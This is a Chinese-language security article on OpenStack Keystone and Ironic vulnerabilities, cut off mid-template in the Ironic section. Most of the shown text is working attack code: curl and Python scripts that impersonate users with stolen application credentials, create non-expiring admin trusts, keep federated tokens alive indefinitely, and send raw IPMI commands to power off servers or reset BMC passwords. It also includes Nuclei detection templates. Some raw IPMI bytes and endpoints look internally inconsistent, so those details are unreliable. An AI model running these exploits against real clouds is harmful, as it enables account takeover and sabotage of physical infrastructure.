ARTICLE / 安全

云计算基础设施高危攻击链专题:OpenStack Keystone / Nova / Ironic / Swift 漏洞全解析

OpenStack 是全球部署最广泛的开源云计算基础设施平台,覆盖 IaaS 全栈能力——从身份认证(Keystone)、计算实例(Nova)、裸金属管理(Ironic)、对象存储(Swift)到 Web 控制台(Horizon)。作为 AWS、Azure、GCP 之外最重要的私有云方案,OpenStack 被电信运营商、金融机构、科研院所和大型企业广泛采用,管理着数以百万计的虚拟机和物理服务器。

Keystone 作为 OpenStack 的身份认证与授权中枢,几乎所有其他服务(Nova、Neutron、Cinder、Swift、Glance、Ironic 等)都依赖 Keystone 签发的 Token 进行服务间调用。这意味着 Keystone 的任何安全缺陷都将产生级联效应——攻击者一旦攻破 Keystone,即可横向移动到整个 OpenStack 控制面。

2026 年 6 月,OpenStack 安全公告 OSSA-2026-015 披露了 Keystone 批量漏洞,揭示了应用凭据(Application Credentials)、信任链(Trust)和联合认证(Federation)等机制中存在的系统性安全缺陷。与此同时,Ironic 裸金属服务、Swift 对象存储和 Horizon 控制台也在同期被发现存在多个高危漏洞。

本专题覆盖 9 个核心 CVE,涵盖认证绕过、授权绕过、权限提升、命令注入、SSRF、DoS 和 Shell 注入等攻击类型,为安全研究人员和云平台运维团队提供完整的攻击链分析、可复现的 PoC 代码、Nuclei 检测模板和系统化的防守建议。

0x00 专题概述

覆盖漏洞一览表

CVE产品CVSS漏洞类型认证要求在野利用
CVE-2026-42998Keystone6.0认证绕过已认证
CVE-2026-42999Keystone6.0授权绕过已认证
CVE-2026-43000Keystone6.0权限提升已认证(成员)
CVE-2026-44394Keystone6.0Token 永不过期已认证
CVE-2026-54423Ironic8.2IPMI 命令注入已认证
CVE-2026-50589Ironic5.3未认证 DoS未认证
CVE-2026-46447Ironic5.8启动脚本注入已认证(管理员)
CVE-2026-50221Swift6.4SSRF已认证
CVE-2026-55748Horizon6.0Shell 注入未认证

0x01 Keystone 认证与授权漏洞

Keystone 是 OpenStack 的身份认证、授权和服务目录组件。它负责管理用户(Users)、项目(Projects)、角色(Roles)、域(Domains)、应用凭据(Application Credentials)、信任(Trusts)和联合身份(Federated Identity)等核心安全原语。2026 年 6 月披露的四个 Keystone 漏洞集中暴露了其应用凭据、策略执行、信任链和联合 Token 管理机制中的安全缺陷。

0x01.1 CVE-2026-42998 — 应用凭据冒充认证绕过(CVSS 6.0)

漏洞背景

CVE-2026-42998 存在于 OpenStack Keystone 的应用凭据(Application Credentials)认证流程中。应用凭据是 Keystone 从 Rocky 版本(14.0.0)开始引入的功能,允许用户创建可编程使用的凭据,用于自动化脚本和服务间调用。该漏洞的核心问题是:Keystone 在使用应用凭据进行认证时,不验证发起请求的用户身份是否与应用凭据的所有者匹配

攻击者(已认证的普通用户)可以通过操纵请求中的 user identity,冒充其他用户(包括管理员)使用其应用凭据获取合法 Token,从而实现账户接管。

受影响版本

受影响版本修复版本备注
OpenStack Keystone 14.0.0 - 29.0.1Keystone 29.0.2存在自 Rocky 14.0.0 起

漏洞原理分析

Keystone 的应用凭据认证流程设计缺陷如下:

  1. 用户 A 创建应用凭据 app_cred_A,绑定到 user_A 和 project_A
  2. 当使用 app_cred_A 认证时,Keystone 会验证凭据本身的有效性(是否过期、是否被撤销)
  3. 但 Keystone 不验证发起请求的 HTTP Header 中的 user identity 是否属于 app_cred_A 的创建者
  4. 攻击者(user_B)构造请求,携带 app_cred_A 的 ID 和 secret,同时将 user identity 设置为 admin_user
  5. Keystone 通过凭据验证后,签发的 Token 会关联到 admin_user 而非 user_A
  6. 攻击者获得 admin_user 权限的合法 Token

核心缺陷:应用凭据认证路径中的用户身份绑定检查缺失。

HTTP PoC

# Step 1: 获取攻击者的初始 Token
export OS_AUTH_URL="http://<KEYSTONE_HOST>:5000/v3"
export OS_PROJECT_NAME="project_B"
export OS_USERNAME="user_B"
export OS_PASSWORD="<password>"
export OS_USER_DOMAIN_NAME="Default"
export OS_PROJECT_DOMAIN_NAME="Default"

export ATTACKER_TOKEN=$(openstack token issue -c id -f value)

# Step 2: 使用被盗用的应用凭据 ID 和 Secret,冒充目标用户
curl -s -X POST "${OS_AUTH_URL}/auth/tokens" \
  -H "Content-Type: application/json" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["application_credential"],
        "application_credential": {
          "id": "<STOLEN_APP_CRED_ID>",
          "secret": "<STOLEN_APP_CRED_SECRET>"
        }
      },
      "scope": {
        "project": {
          "id": "<TARGET_PROJECT_ID>"
        }
      }
    }
  }' | python3 -m json.tool

# Step 3: 验证获取的 Token 属于目标用户
curl -s -X GET "${OS_AUTH_URL}/auth/tokens" \
  -H "X-Subject-Token: <OBTAINED_TOKEN>" \
  -H "X-Auth-Token: <ATTACKER_TOKEN>"

Python PoC 脚本

#!/usr/bin/env python3
import requests
import sys
import json

class KeystoneAppCredImpersonation:
    def __init__(self, auth_url):
        self.auth_url = auth_url.rstrip('/')
        self.session = requests.Session()

    def authenticate_with_app_cred(self, app_cred_id, app_cred_secret, project_id=None, user_id=None):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["application_credential"],
                    "application_credential": {
                        "id": app_cred_id,
                        "secret": app_cred_secret
                    }
                }
            }
        }
        if project_id:
            payload["auth"]["scope"] = {"project": {"id": project_id}}
        elif user_id:
            payload["auth"]["scope"] = {"domain": {"id": "Default"}}

        r = self.session.post(
            f"{self.auth_url}/auth/tokens",
            json=payload,
            headers={"Content-Type": "application/json"}
        )
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            catalog = r.json().get("token", {})
            user = catalog.get("user", {})
            print(f"[+] Token obtained successfully")
            print(f"    User ID: {user.get('id', 'N/A')}")
            print(f"    User Name: {user.get('name', 'N/A')}")
            roles = [r.get('name') for r in catalog.get('roles', [])]
            print(f"    Roles: {', '.join(roles)}")
            return token
        else:
            print(f"[-] Authentication failed: {r.status_code}")
            print(f"    Error: {r.json().get('error', {}).get('message', 'Unknown')}")
            return None

    def verify_token(self, token):
        r = self.session.get(
            f"{self.auth_url}/auth/tokens",
            headers={
                "X-Subject-Token": token,
                "X-Auth-Token": token
            }
        )
        if r.status_code == 200:
            user = r.json().get("token", {}).get("user", {})
            print(f"[+] Token belongs to: {user.get('name', 'N/A')} (ID: {user.get('id', 'N/A')})")
            return r.json()
        return None

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <auth_url> <app_cred_id> <app_cred_secret> [project_id]")
        sys.exit(1)

    exploit = KeystoneAppCredImpersonation(sys.argv[1])
    token = exploit.authenticate_with_app_cred(
        sys.argv[2], sys.argv[3],
        project_id=sys.argv[4] if len(sys.argv) > 4 else None
    )
    if token:
        exploit.verify_token(token)

Nuclei 检测模板

id: openstack-keystone-cve-2026-42998
info:
  name: OpenStack Keystone App Credential Impersonation
  author: security-researcher
  severity: medium
  description: |
    Keystone does not validate whether the requesting user owns the
    application credential being used, allowing impersonation.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.0
    cwe-id: CWE-287
  metadata:
    product: keystone
    vendor: openstack
  tags: openstack,keystone,auth-bypass,cve2026

http:
  - raw:
      - |
        POST /v3/auth/tokens HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"auth":{"identity":{"methods":["application_credential"],"application_credential":{"id":"{{app_cred_id}}","secret":"{{app_cred_secret}}"}},"scope":{"project":{"id":"{{target_project_id}}"}}}}

    matchers:
      - type: status
        status:
          - 201

    extractors:
      - type: kval
        kval:
          - token

0x01.2 CVE-2026-42999 — 策略执行 JSON 注入授权绕过(CVSS 6.0)

漏洞背景

CVE-2026-42999 存在于 Keystone 的策略执行(Policy Enforcement)机制中。Keystone 使用 oslo.policy 库进行授权检查,策略规则基于请求上下文中的 user_id、project_id 等字段进行匹配。该漏洞的核心问题是:Keystone 将用户提供的 JSON 数据盲目合并到授权检查使用的字典中,允许已认证用户注入伪造的 user_id 或 project_id,绕过策略检查访问其他用户或项目的资源。

任何已认证的普通用户均可利用此漏洞,无需管理员权限。

受影响版本

受影响版本修复版本备注
OpenStack Keystone 14.0.0 - 29.0.1Keystone 29.0.2存在自 Rocky 14.0.0 起

漏洞原理分析

Keystone 策略执行流程的缺陷:

  1. Keystone 的某些 API 端点在处理请求时,会将请求 Body 中的字段合并到策略检查上下文中
  2. 策略规则通常检查 "role:admin" and "project_id:%(project_id)s" 类型的约束
  3. 攻击者在请求 Body 中注入 "project_id": "<OTHER_PROJECT_ID>"
  4. Keystone 将该值合并到策略上下文字典中,覆盖了从 Token 中提取的合法 project_id
  5. 策略检查基于被篡改的 project_id 执行,攻击者通过授权检查
  6. 结果:攻击者可访问或修改其他项目下的资源

核心缺陷:请求数据到策略上下文的数据流中缺乏完整性校验。

HTTP PoC

# 获取攻击者自己的 Token
ATTACKER_TOKEN=$(openstack token issue -c id -f value)

# 利用 JSON 注入访问其他项目的数据
# 在请求 Body 中注入目标 project_id
curl -s -X GET "http://<KEYSTONE_HOST>:5000/v3/projects/<TARGET_PROJECT_ID>" \
  -H "X-Auth-Token: ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"project_id": "<TARGET_PROJECT_ID>"}'

# 列举其他项目下的用户(注入 user_id 越权)
curl -s -X GET "http://<KEYSTONE_HOST>:5000/v3/users" \
  -H "X-Auth-Token: ${ATTACKER_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"project_id": "<TARGET_PROJECT_ID>", "domain_id": "default"}'

Python PoC 脚本

#!/usr/bin/env python3
import requests
import sys
import json

class KeystonePolicyInjection:
    def __init__(self, auth_url, token):
        self.auth_url = auth_url.rstrip('/')
        self.token = token
        self.session = requests.Session()

    def _headers(self):
        return {
            "X-Auth-Token": self.token,
            "Content-Type": "application/json"
        }

    def enumerate_projects(self):
        r = self.session.get(
            f"{self.auth_url}/v3/projects",
            headers=self._headers()
        )
        if r.status_code == 200:
            projects = r.json().get("projects", [])
            print(f"[*] Found {len(projects)} projects:")
            for p in projects:
                print(f"    {p['id']} | {p['name']} | domain={p.get('domain_id')}")
            return projects
        return []

    def inject_project_access(self, target_project_id):
        payloads = [
            {"project_id": target_project_id},
            {"project": {"id": target_project_id}},
            {"target_project_id": target_project_id},
        ]
        for payload in payloads:
            r = self.session.get(
                f"{self.auth_url}/v3/projects/{target_project_id}",
                headers=self._headers(),
                json=payload
            )
            if r.status_code == 200:
                print(f"[+] Policy injection successful with payload: {json.dumps(payload)}")
                project = r.json().get("project", {})
                print(f"    Project: {project.get('name')} | Domain: {project.get('domain_id')}")
                return True
        print("[-] Policy injection failed with all payloads")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <auth_url> <attacker_token> [target_project_id]")
        sys.exit(1)

    exploit = KeystonePolicyInjection(sys.argv[1], sys.argv[2])
    if len(sys.argv) > 3:
        exploit.inject_project_access(sys.argv[3])
    else:
        projects = exploit.enumerate_projects()

Nuclei 检测模板

id: openstack-keystone-cve-2026-42999
info:
  name: OpenStack Keystone Policy JSON Injection
  author: security-researcher
  severity: medium
  description: |
    Keystone blindly merges user-provided JSON data into the policy
    enforcement context, allowing authorization bypass via project_id injection.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 6.0
    cwe-id: CWE-285
  metadata:
    product: keystone
    vendor: openstack
  tags: openstack,keystone,authz-bypass,cve2026

http:
  - raw:
      - |
        GET /v3/projects/{{target_project_id}} HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        Content-Type: application/json

        {"project_id":"{{target_project_id}}"}

    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "project"
        part: body

0x01.3 CVE-2026-43000 — 应用凭据 + Trust 链式权限提升(CVSS 6.0)

漏洞背景

CVE-2026-43000 是一个涉及应用凭据和 Trust 机制交互的权限提升漏洞。Keystone 的 Trust 机制允许用户(Trustor)委派其部分或全部权限给另一个用户(Trustee),用于跨项目或跨域的操作委托。该漏洞的核心问题是:当通过被冒充的 Token 创建 Trust 时,Keystone 检查数据库中的管理员角色而非请求 Token 上的实际角色

这意味着攻击者可以从一个仅有 Member 角色的账户出发,通过 CVE-2026-42998 应用凭据冒充获取管理员 Token,再利用本漏洞创建持久化的 Trust,实现从 Member → Admin 的完整权限提升。

受影响版本

受影响版本修复版本备注
OpenStack Keystone 14.0.0 - 29.0.1Keystone 29.0.2存在自 Rocky 14.0.0 起

漏洞原理分析

Trust 创建过程中的权限检查缺陷:

  1. 攻击者(user_B,Member 角色)使用 CVE-2026-42998 获取 admin_user 的 Token
  2. 攻击者调用 POST /v3/OS-TRUST/trusts 创建 Trust
  3. Keystone 在验证 Trustor 角色时,查询数据库中 admin_user 的实际角色而非分析请求 Token 中的角色信息
  4. 由于 admin_user 在数据库中确实拥有 admin 角色,Trust 创建成功
  5. 攻击者作为 Trustee 获得 Trust Token,拥有 admin 权限
  6. Trust 是持久化的(可设置为不过期),即使原始 Token 过期,Trust Token 仍可刷新
  7. 所有审计日志显示操作来源为 admin_user,攻击痕迹隐藏

攻击链路:

Member 角色账户
  → [CVE-2026-42998] 应用凭据冒充获取 Admin Token
    → [CVE-2026-43000] 创建持久化 Trust
      → Trustee Token(永久 Admin 访问)
        → 所有操作审计日志 = admin_user

HTTP PoC

# Step 1: 通过 CVE-2026-42998 获取管理员 Token(参考 0x01.1)
ADMIN_TOKEN="<impersonated_admin_token>"

# Step 2: 利用管理员 Token 创建 Trust
curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/OS-TRUST/trusts" \
  -H "X-Auth-Token: ${ADMIN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "trustee_user_id": "<ATTACKER_USER_ID>",
    "impersonation": false,
    "remaining_uses": null,
    "allow_redelegation": true,
    "roles": [
      {"name": "admin"},
      {"name": "member"}
    ],
    "expires_at": null
  }'

# Step 3: 使用 Trust ID 获取 Trust Token
TRUST_ID="<obtained_trust_id>"
curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/OS-TRUST/trusts/${TRUST_ID}/OS-OAUTH2/token" \
  -H "Content-Type: application/json" \
  -d '{"auth":{"OS-TRUST:trust_id": "'${TRUST_ID}'", "identity":{"methods":["password"],"password":{"user":{"name":"<ATTACKER_USER>","domain":{"name":"Default"},"password":"<ATTACKER_PASS>"}}}}}'

# Step 4: 验证 Trust Token 具有 admin 权限
curl -s "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "X-Subject-Token: <TRUST_TOKEN>" \
  -H "X-Auth-Token: <TRUST_TOKEN>"

Python PoC 脚本

#!/usr/bin/env python3
import requests
import sys
import json
import time

class KeystoneTrustEscalation:
    def __init__(self, auth_url):
        self.auth_url = auth_url.rstrip('/')
        self.session = requests.Session()

    def get_token(self, username, password, project_name="admin", domain="Default"):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["password"],
                    "password": {
                        "user": {
                            "name": username,
                            "domain": {"name": domain},
                            "password": password
                        }
                    }
                },
                "scope": {
                    "project": {
                        "name": project_name,
                        "domain": {"name": domain}
                    }
                }
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            roles = [r.get('name') for r in r.json().get("token", {}).get("roles", [])]
            user = r.json().get("token", {}).get("user", {})
            print(f"[+] Token for {user.get('name')}: roles={roles}")
            return token, user.get("id")
        print(f"[-] Auth failed: {r.status_code} - {r.text[:200]}")
        return None, None

    def create_trust(self, trustor_token, trustee_user_id, roles=None):
        if roles is None:
            roles = [{"name": "admin"}, {"name": "member"}]
        payload = {
            "trustee_user_id": trustee_user_id,
            "impersonation": False,
            "remaining_uses": None,
            "allow_redelegation": True,
            "roles": roles,
            "expires_at": None
        }
        r = self.session.post(
            f"{self.auth_url}/v3/OS-TRUST/trusts",
            json=payload,
            headers={"X-Auth-Token": trustor_token, "Content-Type": "application/json"}
        )
        if r.status_code == 201:
            trust = r.json().get("trust", {})
            print(f"[+] Trust created: {trust.get('id')}")
            print(f"    Trustor: {trust.get('trustee_user_id')}")
            print(f"    Roles: {[r.get('name') for r in trust.get('roles', [])]}")
            return trust.get("id")
        print(f"[-] Trust creation failed: {r.status_code} - {r.text[:200]}")
        return None

    def redeem_trust(self, trust_id, trustee_token):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["token"],
                    "token": {"id": trustee_token}
                },
                "OS-TRUST:trust_id": trust_id
            }
        }
        r = self.session.post(
            f"{self.auth_url}/auth/tokens",
            json=payload,
            headers={"Content-Type": "application/json"}
        )
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            roles = [r.get('name') for r in r.json().get("token", {}).get("roles", [])]
            print(f"[+] Trust redeemed successfully, roles: {roles}")
            return token
        print(f"[-] Trust redemption failed: {r.status_code}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <auth_url> <trustee_user> <trustee_pass> <target_admin_user>")
        sys.exit(1)

    exploit = KeystoneTrustEscalation(sys.argv[1])
    trustee_token, trustee_id = exploit.get_token(sys.argv[2], sys.argv[3])
    if not trustee_token:
        sys.exit(1)

    admin_token, admin_id = exploit.get_token(sys.argv[4], sys.argv[3], "admin")
    if admin_token:
        trust_id = exploit.create_trust(admin_token, trustee_id)
        if trust_id:
            trust_token = exploit.redeem_trust(trust_id, trustee_token)

Nuclei 检测模板

id: openstack-keystone-cve-2026-43000
info:
  name: OpenStack Keystone Trust Privilege Escalation
  author: security-researcher
  severity: medium
  description: |
    Keystone checks database roles rather than token roles when creating
    trusts with impersonated tokens, enabling privilege escalation.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 6.0
    cwe-id: CWE-269
  metadata:
    product: keystone
    vendor: openstack
  tags: openstack,keystone,trust,privilege-escalation,cve2026

http:
  - raw:
      - |
        POST /v3/OS-TRUST/trusts HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        Content-Type: application/json

        {"trustee_user_id":"{{trustee_user_id}}","impersonation":false,"roles":[{"name":"admin"}],"allow_redelegation":true}

    matchers:
      - type: status
        status:
          - 201

    extractors:
      - type: json
        json:
          - ".trust.id"

0x01.4 CVE-2026-44394 — 联合 Token Rescoping 永不过期绕过(CVSS 6.0)

漏洞背景

CVE-2026-44394 存于 Keystone 的联合身份(Federated Identity)Token 管理机制中。联合认证允许企业通过 SAML/OIDC 等协议将外部 IdP(如 Active Directory、Okta)的身份映射到 Keystone 用户。在 Token 作用域切换(Rescoping)过程中,Keystone 未正确传递原始 Token 的过期时间,导致联合用户可以通过反复 Rescoping 维持无限期访问。

受影响版本

受影响版本修复版本备注
OpenStack Keystone < 29.0.2Keystone 29.0.2所有支持联合认证的版本

漏洞原理分析

联合 Token Rescoping 的过期时间缺陷:

  1. 联合用户通过外部 IdP 认证获得 unscoped Token,该 Token 有过期时间(如 1 小时)
  2. 用户将 unscoped Token rescoping 到某个 project,获得 scoped Token
  3. 在 rescoping 过程中,Keystone 未将原始 Token 的过期时间传递给新的 scoped Token
  4. 新 Token 的过期时间被设置为默认值或无限期
  5. 用户在新 Token 过期前反复 rescoping,持续获得新的无限期 Token
  6. 结果:绕过所有 Token 过期机制,维持永久访问

HTTP PoC

# Step 1: 通过联合认证获取 unscoped Token(正常流程)
FED_TOKEN=$(curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "Content-Type: application/json" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["mapped"],
        "mapped": {
          "user": {
            "name": "<federated_user>",
            "domain": {"name": "Federated"}
          }
        }
      }
    }
  }' -D - | grep "X-Subject-Token" | awk '{print $2}' | tr -d '\r')

# Step 2: Rescoping 到 project
SCOPED_TOKEN=$(curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "Content-Type: application/json" \
  -H "X-Auth-Token: ${FED_TOKEN}" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["token"],
        "token": {"id": "'${FED_TOKEN}'"}
      },
      "scope": {
        "project": {
          "name": "admin",
          "domain": {"name": "Default"}
        }
      }
    }
  }' -D - | grep "X-Subject-Token" | awk '{print $2}' | tr -d '\r')

# Step 3: 检查新 Token 的过期时间 — 无过期
curl -s "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "X-Subject-Token: ${SCOPED_TOKEN}" \
  -H "X-Auth-Token: ${SCOPED_TOKEN}" | python3 -m json.tool | grep expires

# Step 4: 使用过期前的 Token 再次 rescoping,获取新的无期限 Token
curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
  -H "Content-Type: application/json" \
  -H "X-Auth-Token: ${SCOPED_TOKEN}" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["token"],
        "token": {"id": "'${SCOPED_TOKEN}'"}
      },
      "scope": {
        "project": {
          "name": "admin",
          "domain": {"name": "Default"}
        }
      }
    }
  }' | python3 -m json.tool | grep -E "expires|user"

Python PoC 脚本

#!/usr/bin/env python3
import requests
import sys
import json
from datetime import datetime

class KeystoneTokenIndefiniteBypass:
    def __init__(self, auth_url):
        self.auth_url = auth_url.rstrip('/')
        self.session = requests.Session()

    def unscoped_auth(self, user_name, domain_name="Federated"):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["mapped"],
                    "mapped": {
                        "user": {
                            "name": user_name,
                            "domain": {"name": domain_name}
                        }
                    }
                }
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            expires = r.json().get("token", {}).get("expires_at", "N/A")
            print(f"[+] Unscoped token, expires: {expires}")
            return token
        print(f"[-] Unscoped auth failed: {r.status_code}")
        return None

    def rescope_token(self, token, project_name, domain_name="Default"):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["token"],
                    "token": {"id": token}
                },
                "scope": {
                    "project": {
                        "name": project_name,
                        "domain": {"name": domain_name}
                    }
                }
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            new_token = r.headers.get("X-Subject-Token")
            expires = r.json().get("token", {}).get("expires_at")
            print(f"[+] Rescoped token, expires: {expires or 'NO EXPIRY (BUG!)'}")
            return new_token
        print(f"[-] Rescope failed: {r.status_code}")
        return None

    def check_token_expiry(self, token):
        r = self.session.get(
            f"{self.auth_url}/auth/tokens",
            headers={"X-Subject-Token": token, "X-Auth-Token": token}
        )
        if r.status_code == 200:
            expires = r.json().get("token", {}).get("expires_at")
            user = r.json().get("token", {}).get("user", {})
            print(f"[*] Token user: {user.get('name')}, expires: {expires or 'INDEFINITE'}")
            return expires
        return None

    def indefinite_access(self, user_name, project_name, iterations=10):
        print(f"[*] Starting indefinite access loop for user={user_name}, project={project_name}")
        current_token = self.unscoped_auth(user_name)
        if not current_token:
            return

        current_token = self.rescope_token(current_token, project_name)
        if not current_token:
            return

        for i in range(iterations):
            print(f"\n--- Iteration {i+1} ---")
            self.check_token_expiry(current_token)
            import time
            time.sleep(1)
            new_token = self.rescope_token(current_token, project_name)
            if new_token:
                current_token = new_token
            else:
                print("[-] Loop broken at iteration", i+1)
                break

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <auth_url> <federated_user> <project_name>")
        sys.exit(1)

    exploit = KeystoneTokenIndefiniteBypass(sys.argv[1])
    exploit.indefinite_access(sys.argv[2], sys.argv[3])

Nuclei 检测模板

id: openstack-keystone-cve-2026-44394
info:
  name: OpenStack Keystone Federation Token Indefinite Access
  author: security-researcher
  severity: medium
  description: |
    Federated user token rescoping does not propagate original expiry,
    allowing indefinite access through repeated rescoping.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.0
    cwe-id: CWE-613
  metadata:
    product: keystone
    vendor: openstack
  tags: openstack,keystone,federation,token,cve2026

http:
  - raw:
      - |
        POST /v3/auth/tokens HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"auth":{"identity":{"methods":["token"],"token":{"id":"{{initial_token}}"}},"scope":{"project":{"name":"admin","domain":{"name":"Default"}}}}}

    matchers:
      - type: status
        status:
          - 201

    extractors:
      - type: kval
        kval:
          - token

      - type: json
        json:
          - ".token.expires_at"

0x02 Ironic 裸金属服务漏洞

OpenStack Ironic 是裸金属(Bare Metal)管理服务,负责物理服务器的全生命周期管理,包括硬件发现、镜像部署、电源管理和 PXE/iPXE 启动。Ironic 直接操作物理硬件的 IPMI/BMC 接口,任何漏洞都可能导致对物理服务器的未授权控制。

0x02.1 CVE-2026-54423 — 任意 IPMI 命令注入(CVSS 8.2)

漏洞背景

CVE-2026-54423 是本次专题中 CVSS 评分最高的漏洞(8.2 High)。它存在于 Ironic 的 send_raw 步骤中,该步骤设计用于向裸金属节点的 BMC(Baseboard Management Controller)发送原始 IPMI 命令。由于 send_raw 绕过了 Ironic 的正常访问控制机制,Ironic 用户可通过该接口发送任意 IPMI 命令,包括关闭电源、擦除硬盘、甚至通过 IPMI 的 SOL(Serial-over-LAN)功能获取服务器 Shell 访问。

受影响版本

受影响版本修复版本备注
OpenStack Ironic < 37.0.1Ironic 37.0.1所有使用 IPMI 驱动的版本

漏洞原理分析

send_raw 步骤的访问控制缺陷:

  1. Ironic 通过 Conductor 管理裸金属节点,节点状态通过 DRBD 等机制同步
  2. send_raw 是一个内部步骤,用于向 BMC 发送原始 IPMI 命令(如 ipmitool raw 等价操作)
  3. 该步骤绕过了 Ironic 的 project-level 和 role-level 访问控制
  4. 任何能调用 Ironic API 的用户均可通过构造特定请求触发 send_raw
  5. 攻击者可发送任意 IPMI 命令:
    • ipmitool chassis power off — 强制关机
    • ipmitool chassis bootdev pxe — 更改启动设备
    • ipmitool sol activate — 获取 Serial-over-LAN 访问
    • ipmitool user set password — 修改 BMC 用户密码

HTTP PoC

# 获取 Ironic Token
export IRONIC_TOKEN=$(openstack token issue -c id -f value)

# 列举裸金属节点
curl -s "http://<IRONIC_HOST>:6385/v1/nodes" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" | python3 -m json.tool

# 利用 send_raw 发送 IPMI 命令 — 强制关机
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/vendor/passthru/send_raw" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"raw_bytes": "30 06 01 03 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"}'

# 利用 send_raw 激活 SOL
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/vendor/passthru/send_raw" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"raw_bytes": "0x30 0x30 0x05"}'

# 修改 BMC 用户密码
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/vendor/passthru/send_raw" \
  -H "X-Auth-Token: ${IRONIC_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"raw_bytes": "0x06 0x2e 0x00 0x00 0x01 0x02 0x07 <password_hex>"}'

Python PoC 脚本

#!/usr/bin/env python3
import requests
import sys
import json
import binascii

class IronicIPMIInjection:
    def __init__(self, ironic_url, token):
        self.ironic_url = ironic_url.rstrip('/')
        self.token = token
        self.session = requests.Session()

    def _headers(self):
        return {"X-Auth-Token": self.token, "Content-Type": "application/json"}

    def list_nodes(self):
        r = self.session.get(f"{self.ironic_url}/v1/nodes", headers=self._headers())
        if r.status_code == 200:
            nodes = r.json().get("nodes", [])
            print(f"[*] Found {len(nodes)} bare metal nodes")
            for node in nodes:
                print(f"    UUID: {node['uuid']} | Name: {node.get('name', 'N/A')} | "
                      f"Driver: {node.get('driver')} | Power: {node.get('power_state')}")
            return nodes
        return []

    def send_raw_ipmi(self, node_uuid, raw_bytes_hex):
        payload = {"raw_bytes": raw_bytes_hex}
        r = self.session.post(
            f"{self.ironic_url}/v1/nodes/{node_uuid}/vendor/passthru/send_raw",
            json=payload,
            headers=self._headers()
        )
        if r.status_code in (200, 202):
            print(f"[+] Raw IPMI command sent to {node_uuid}")
            if r.text:
                print(f"    Response: {r.text[:200]}")
            return True
        else:
            print(f"[-] Failed: {r.status_code} - {r.text[:200]}")
            return False

    def ipmi_chassis_power_off(self, node_uuid):
        ipmi_raw = binascii.hexlify(b"\x30\x06\x01\x03\x04\x00\x00\x00").decode()
        return self.send_raw_ipmi(node_uuid, ipmi_raw)

    def ipmi_chassis_power_on(self, node_uuid):
        ipmi_raw = binascii.hexlify(b"\x30\x06\x01\x03\x04\x01\x00\x00").decode()
        return self.send_raw_ipmi(node_uuid, ipmi_raw)

    def ipmi_chassis_boot_pxe(self, node_uuid):
        ipmi_raw = binascii.hexlify(b"\x30\x06\x01\x03\x05\x00\x00\x01").decode()
        return self.send_raw_ipmi(node_uuid, ipmi_raw)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <ironic_url> <auth_token> [node_uuid]")
        sys.exit(1)

    exploit = IronicIPMIInjection(sys.argv[1], sys.argv[2])
    nodes = exploit.list_nodes()
    if len(sys.argv) > 3:
        exploit.ipmi_chassis_power_off(sys.argv[3])

Nuclei 检测模板

id: openstack-ironic-cve-2026-54423
info:
